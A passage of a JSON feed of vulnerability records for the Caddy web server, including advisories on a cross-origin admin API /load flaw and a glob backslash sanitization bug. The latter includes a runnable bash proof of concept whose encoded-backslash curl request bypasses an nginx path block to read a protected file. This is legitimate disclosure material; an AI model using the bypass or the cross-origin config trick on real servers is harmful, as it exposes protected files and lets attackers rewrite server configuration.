skips case normalization in github.com/caddyserver/caddy/v2","description":"Caddy MatchPath %xx branch skips case normalization in github.com/caddyserver/caddy/v2","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-g7pc-pc7g-h8jh","labels":["CVE-2026-27587","GHSA-g7pc-pc7g-h8jh"],"created_at":"2026-04-26 03:01:34.296314+00:00","updated_at":"2026-04-26 03:01:34.296314+00:00"},{"id":4658,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.11.1","bug_id":"osv:GO-2026-4537","title":"Caddy is vulnerable to cross-origin config application via local admin API /load in github.com/caddyserver/caddy/v2","description":"Caddy is vulnerable to cross-origin config application via local admin API /load in github.com/caddyserver/caddy/v2","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-879p-475x-rqh2","labels":["CVE-2026-27589","GHSA-879p-475x-rqh2"],"created_at":"2026-04-26 03:01:34.293675+00:00","updated_at":"2026-04-26 03:01:34.293675+00:00"},{"id":4657,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.11.1","bug_id":"osv:GO-2026-4536","title":"Unicode case-folding causes incorrect split_path index in github.com/caddyserver/caddy/v2","description":"Unicode case-folding causes incorrect split_path index in github.com/caddyserver/caddy/v2","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-5r3v-vc8m-m96g","labels":["CVE-2026-27590","GHSA-5r3v-vc8m-m96g"],"created_at":"2026-04-26 03:01:34.291094+00:00","updated_at":"2026-04-26 03:01:34.291094+00:00"},{"id":4656,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.11.1","bug_id":"osv:GO-2026-4535","title":"Improper sanitization of glob characters in github.com/caddyserver/caddy/v2","description":"Improper sanitization of glob characters in github.com/caddyserver/caddy/v2","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-4xrr-hq4w-6vf4","labels":["CVE-2026-27585","GHSA-4xrr-hq4w-6vf4"],"created_at":"2026-04-26 03:01:34.285756+00:00","updated_at":"2026-04-26 03:01:34.285756+00:00"},{"id":4655,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.5.0-beta.1","bug_id":"osv:GO-2023-1567","title":"Open redirect in github.com/caddyserver/caddy/v2","description":"Due to improper request sanitization, a crafted URL can cause the static file handler to redirect to an attacker chosen URL, allowing for open redirect attacks.","severity":"medium","status":"fixed","source":"osv","source_url":"https://lednerb.de/en/publications/responsible-disclosure/caddy-open-redirect-vulnerability/","labels":["CVE-2022-28923","GHSA-qpm3-vr34-h8w8"],"created_at":"2026-04-26 03:01:34.280500+00:00","updated_at":"2026-04-26 03:01:34.280500+00:00"},{"id":4653,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.5.0-beta.1","bug_id":"osv:GHSA-qpm3-vr34-h8w8","title":"Open Redirect in Caddy","description":"Caddy v2.4.6 was discovered to contain an open redirection vulnerability which allows attackers to redirect users to phishing websites via crafted URLs","severity":"medium","status":"fixed","source":"osv","source_url":"https://nvd.nist.gov/vuln/detail/CVE-2022-28923","labels":["CVE-2022-28923","GO-2023-1567"],"created_at":"2026-04-26 03:01:34.275256+00:00","updated_at":"2026-04-26 03:01:34.275256+00:00"},{"id":4650,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.11.1","bug_id":"osv:GHSA-879p-475x-rqh2","title":"Caddy is vulnerable to cross-origin config application via local admin API /load","description":"commit: e0f8d9b2047af417d8faf354b675941f3dac9891 (as-of 2026-02-04)\nchannel: GitHub security advisory (per SECURITY.md)\n\n## summary\n\nThe local caddy admin API (default listen `127.0.0.1:2019`) exposes a state-changing `POST /load` endpoint that replaces the entire running configuration.\n\nWhen origin enforcement is not enabled (`enforce_origin` not configured), the admin endpoint accepts cross-origin requests (e.g., from attacker-controlled web content in a victim browser) and applies an attacker-supplied JSON config. this can change the admin listener settings and alter HTTP server behavior without user intent.\n\n## Severity\n\nMedium\n\nJustification:\n- The attacker can apply an arbitrary caddy config (integrity impact) by driving a victim’s local admin API.\n- Exploitation requires a victim running caddy with the admin API enabled and visiting an attacker-controlled page (or otherwise issuing the request from an untrusted local client).\n\n## Affected component\n\n- `caddyconfig/load.go: adminLoad.handleLoad` (`/load` admin endpoint)\n- Pinned callsite: https://github.com/caddyserver/caddy/blob/e0f8d9b2047af417d8faf354b675941f3dac9891/caddyconfig/load.go#L73\n\n## Reproduction\n\nAttachment: `poc.zip` (integration harness) with canonical and control runs.\n\n```bash\nunzip -q -o poc.zip -d poc\ncd poc/poc-F-CADDY-ADMIN-LOAD-001\nmake test\n```\n\nExpected output (excerpt):\n\n```\n[CALLSITE_HIT]: adminLoad.handleLoad\n[PROOF_MARKER]: http_code=200 admin_moved=true response_pwned=true\n```\n\nControl output (excerpt):\n\n```\n[NC_MARKER]: http_code=403 load_blocked=true admin_moved=false response_pwned=false\n```\n\n## Impact\n\nAn attacker can replace the running caddy configuration via the local admin API. Depending on the deployed configuration/modules, this can:\n- Change admin listener settings (e.g., move the admin listener to a new address)\n- Change HTTP server behavior (e.g., alter routes/responses)\n\n## Suggested remediation\n\nEnsure cross-origin web content cannot trigger `POST /load` on the local admin API by default, for example by:\n- Enabling origin enforcement by default for unsafe methods, and/or\n- Requiring an unguessable token for `/load` (and other state-changing admin endpoints).\n\n[poc.zip](https://github.com/user-attachments/files/25079818/poc.zip)\n[PR_DESCRIPTION.md](https://github.com/user-attachments/files/25079820/PR_DESCRIPTION.md)","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-879p-475x-rqh2","labels":["CVE-2026-27589","GO-2026-4537"],"created_at":"2026-04-26 03:01:34.267058+00:00","updated_at":"2026-04-26 03:01:34.267058+00:00"},{"id":4648,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.11.1","bug_id":"osv:GHSA-4xrr-hq4w-6vf4","title":"Caddy: Improper sanitization of glob characters in file matcher may lead to bypassing security protections","description":"### Summary\n\nThe path sanitization in [file matcher](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) doesn't sanitize backslashes which can lead to bypassing path related security protections.\n\n### Details\n\nThe [try_files](https://caddyserver.com/docs/caddyfile/directives/try_files) directive is used to rewrite the request uri. It accepts a list of patterns and checks if any files exist in the root that match the provided patterns. It's commonly used in Caddy configs. For example, it's used in SPA applications to rewrite every route that doesn't exist as a file to `index.html`. \n \n```caddy\nexample.com {\n\troot * /srv\n\tencode\n\ttry_files {path} /index.html\n\tfile_server\n}\n```\n\n`try_files` patterns are actually glob patterns and file matcher expands them. The `{path}` in the pattern is replaced with\nthe request path and then [is expanded by `fs.Glob`](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L398). The request path is sanitized before being placed inside the pattern and the special chars are escaped . [The following code](https://github.com/caddyserver/caddy/blob/68d50020eef0d4c3398b878f17c8092ca5b58ca0/modules/caddyhttp/fileserver/matcher.go#L361) is the sanitization part.   \n\n```go\nvar globSafeRepl = strings.NewReplacer(\n\t\"*\", \"\\\\*\",\n\t\"[\", \"\\\\[\",\n\t\"?\", \"\\\\?\",\n)\n\nexpandedFile, err := repl.ReplaceFunc(file, func(variable string, val any) (any, error) {\n    if runtime.GOOS == \"windows\" {\n        return val, nil\n    }\n    switch v := val.(type) {\n    case string:\n        return globSafeRepl.Replace(v), nil\n    case fmt.Stringer:\n        return globSafeRepl.Replace(v.String()), nil\n    }\n    return val, nil\n})\n```\n\nThe problem here is that it does not escape backslashes. `/something-\\*/` can match a file named `something-\\-anything.txt`, but it should not. The primitive that this vulnerability provides is not very useful, as it only allows an attacker to guess filenames that contain a backslash and they should also know the characters before that backslash.\n\nThe backslash is mainly used to escape special characters in glob patterns, but when it appears before non special characters, it is ignored. This means that `h\\ello*` matches `hello world` even though `e` is not a special character. This behavior can be abused to bypass path protections that might be in place. For example, if there is a reverse proxy that only allows `/documents/*` to the internal network and its upstream is a Caddy server that uses `try_files`, the reverse proxy's protection can be bypassed by requesting the path `/do%5ccuments/`.\n\nSome configurations that implement blacklisting and serving together in Caddy are also vulnerable but there's a condition that the `try_files` directive and the filtering `route`/`handle` must not be in a same block because `try_files` directive [executes before `route` and `handle` directives](https://caddyserver.com/docs/caddyfile/directives#directive-order). \n\nFor example the following config isn't vulnerable.\n\n```caddy\n:80 {\n    root * /srv\n\n    route /documents/* {\n        respond \"Access denied\" 403\n    }\n\n    try_files {path} /index.html\n    file_server\n}\n```\n\nBut this one is vulnerable.\n\n```caddy\n:80 {\n    root * /srv\n\n    route /documents/* {\n        respond \"Access denied\" 403\n    }\n\n    route /* {\n        try_files {path} /index.html\n    }\n    file_server\n}\n```\n\nThis config is also vulnerable because `Header` directives executes before `try_files`. \n\n```caddy\n:80 {\n    root * /srv \n    header /uploads/* {\n        X-Content-Type-Options \"nosniff\"\n        Content-Security-Policy \"default-src 'none';\"\n    }\n    try_files {path} /index.html\n    file_server\n}\n```\n\n### PoC\n\nPaste this script somewhere and run it. It should print \"some content\" which means that the nginx protection has failed.\n\n```bash\n#!/bin/bash\n\nmkdir secret\necho 'some content' > secret/secret.txt\n\ncat > Caddyfile <<'EOF'\n:80 {\n    root * /srv\n\n    try_files {path} /index.html\n    file_server\n}\nEOF\n\ncat > nginx.conf <<'EOF'\nevents {}\n\nhttp {\n    server {\n        listen 80;\n        \n        location /secret {\n            return 403;\n        }\n\n        location / {\n            proxy_pass http://caddy;\n            proxy_set_header Host $host;\n        }\n    }\n}\nEOF\n\ncat > docker-compose.yml <<'EOF'\nservices:\n  caddy:\n    # caddy@sha256:c3d7ee5d2b11f9dc54f947f68a734c84e9c9666c92c88a7f30b9cba5da182adb\n    image: caddy:latest\n    volumes:\n      - ./Caddyfile:/etc/caddy/Caddyfile:ro\n      - ./secret:/srv/secret:ro\n  nginx:\n    # nginx@sha256:341bf0f3ce6c5277d6002cf6e1fb0319fa4252add24ab6a0e262e0056d313208\n    image: nginx:latest\n    volumes:\n      - ./nginx.conf:/etc/nginx/nginx.conf:ro\n    ports:\n      - \"8000:80\" \nEOF\n\ndocker compose up -d\ncurl 'localhost:8000/secre%5ct/secret.txt'\n```\n\n### Impact\n\nThis vulnerability may allow an attacker to bypass security protections. It affects users with specific Caddy and environment configurations.\n\n### AI Usage\n\nAn LLM was used to polish this report.","severity":"medium","status":"fixed","source":"osv","source_url":"https://github.com/caddyserver/caddy/security/advisories/GHSA-4xrr-hq4w-6vf4","labels":["CVE-2026-27585","GO-2026-4535"],"created_at":"2026-04-26 03:01:34.261719+00:00","updated_at":"2026-04-26 03:01:34.261719+00:00"},{"id":4647,"ecosystem":"go","package_name":"github.com/caddyserver/caddy/v2","affected_version":null,"fixed_version":"2.5.0","bug_id":"osv:GHSA-2927-hv3p-f3vp","title":"Open redirect in caddy","description":"Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.","severity":"medium","status":"fixed","source":"osv","source_url":"https://nvd.nist.gov/vuln/detail/CVE-2022-29718","labels":["CVE-2022-29718"],"created_at":"2026-04-26 03:01:34.258906+00:00","updated_at":"2026-04-26 03:01:34.258906+00:00"}],"total":17,"_cache":"hit"}